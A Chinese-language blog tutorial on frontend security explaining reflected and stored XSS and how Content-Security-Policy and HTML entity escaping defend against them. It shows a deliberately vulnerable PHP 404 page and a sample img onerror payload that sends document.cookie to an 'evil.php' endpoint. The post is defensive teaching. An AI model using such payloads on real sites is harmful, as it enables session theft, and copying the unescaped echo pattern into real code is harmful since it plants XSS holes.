SSShooter

SSShooter

Write like you're running out of time.

前端網路安全必修 2 XSS 和 CSP

回顧上一篇:前端網絡安全必修 1 SOP、CSRF 和 CORS

本文主要涉及內容為:

  • 跨站腳本攻擊(Cross-site scripting,簡稱 XSS)
  • 內容安全策略(Content-Security-Policy,簡稱 CSP)

因為 CSP 誕生的主要目的就是防禦 XSS 攻擊,就把 XSS 放在前面講吧~

XSS#

<html>
  <body>
    <? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
  </body>
</html>

這是一個找不到頁面時的通用提示代碼,同時,也是一個極容易被 XSS 攻擊的例子,它很老實地把用戶發送的東西都直接塞到 html 裡。

當然,你在訪問 http://testsite.test/file_which_not_exist 的時候它會很正常地表現為:

Not found: /file_which_not_exist

但是如果想做點壞事,訪問 http://testsite.test/<script>alert("我要做壞事");</script>,結果會是:

Not found: /

雖然看起來後面什麼都沒有,但是如果什麼防範措施都沒有的話,js 腳本已經順利運行了

一般這種攻擊能做的壞事是盜取用戶 cookie,例如插入這樣一段代碼:

<img
  src="xx"
  onerror="post('../evil.php?cakemonster=' + escape(document.cookie))"
/>

上面這種利用錯誤信息和搜索結果的反射進行的 XSS,稱為反射型 XSS

還有另一種 XSS 是儲存型 XSS

儲存型也比較容易理解,攻擊者把惡意腳本提交到被害服務器,並成功儲存,所有人訪問特定頁面都會遭到攻擊。

舉個例,要放到富文本編輯器的內容如果不小心處理就很容易被儲存型 XSS 攻擊。

你可以在這裡對比一下 XSS 過濾前後的區別。

另外還有惡名昭彰的 SQL 注入,原理也是差不多。

html 安全注入#

html 會不安全,是因為 <> 等符號在 html 裡都是有內涵的符號,如果像上面一樣直接把 <> 插到 html 中,處理器自然會認為那是一個標籤,而不是小於號和大於號。

對 html 字串來說,真正的小於號是 &lt;,大於是 &gt;,意思就是 less than 和 greater than,類似的還有空格 &nbsp;

上面提到的轉義字符分為 & + 實體名稱 + ; 三個部分,你也可以使用實體編號而不是實體名稱。例如 #60lt 的實體編號,&lt;&#60; 渲染出來就是同一個東西。

那麼實體編號怎麼查呢?建議直接用 charCodeAt()

'網'.charCodeAt() // => 32593

&#32593; 就等於 “網” 字,如果你願意,甚至可以全都使用實體編號來代替文字 😂

以上是當你使用 php 等處理得到的 html 或是使用 JavaScript 的 innerHTML 賦值等 dom 操作時需要注意的內容(react 用戶可能知道,react 已經用屬性名 dangerouslySetInnerHTML 很明確告訴你這個操作很危險)。如果你是使用 innerText 插入的話你插入的是普通字串而不是作為 html 插入,所以放心使用 <> 吧,他們就是小於和大於的意思 😀

CSP#

CSP 就是一個白名單機制,只允許你的網頁裡讀取指定域名的資源,可用於防止 XSS 攻擊。

使用 CSP 的第一種方法是在 HTTP 頭定義 Content-Security-Policy:

Content-Security-Policy: default-src https://cdn.example.net https://cdn.example2.net; object-src 'none'

CSP 的值中,不同屬性以 ; 隔開,同一屬性的多個值以空格隔開。上面例子的意思就是默認允許讀取 https://cdn.example.nethttps://cdn.example2.net 的資源,object-src 使用的相關資源無白名單,也就是完全不允許讀出。

如果使用了不符合要求的資源,瀏覽器會給予攔截,給出下面的提示:

Refused to execute inline script because it violates the following Content Security Policy directive

你也可以使用 meta 標籤代替 HTTP 頭:

<meta
  http-equiv="Content-Security-Policy"
  content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>

Content-Security-Policy 的常用選項有這些:

  • default-src 是 src 選項的默認值,但不能覆蓋以下值:base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandbox
  • base-uri 特別說一下 <base> 標籤是因為孤陋寡聞的我第一次見到。 指定用於一個文檔中包含的所有相對 URL 的根 URL,一個文件只能有一個 <base> 標籤,用起來大概是這樣的:<base target="_top" href="http://www.example.com/">
  • connect-src XHR、WebSockets 等連接使用的地址
  • font-src 字體文件來源
  • img-src 圖片地址
  • media-src 音視頻地址
  • object-src Flash 相關
  • report-uri 出現報錯時提交到指定 uri,不能在 <meta> 標籤使用
  • style-src 樣式文件

在資源列表中除了指定域名,你還可以使用下面四個關鍵詞,注意一定要加單引號

  • 'none' 不進行匹配
  • 'self' 當前域名,不包含子域名
  • 'unsafe-inline' 允許行內 JavaScript 與 CSS
  • 'unsafe-eval' 允許類 eval 操作

當 CSP 正確設置,XSS 插入的行內代碼或外部 js 文件就會被攔截。當然這是最後一道防線了,前面提到的關鍵字過濾也是對付 XSS 的好方法。

要說的基本就這麼多,希望大家以後在使用 php、jsp 等後端語言構造 html 文檔時要認真思考有沒有 XSS 漏洞;另外,在前後端分離發展蓬勃的今天,XSS 可能出現在富文本編輯器中,也同時需要多加注意。

原文傳送門:https://ssshooter.com/2019-11-10-csp-n-xss/

拓展閱讀#

參考#

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。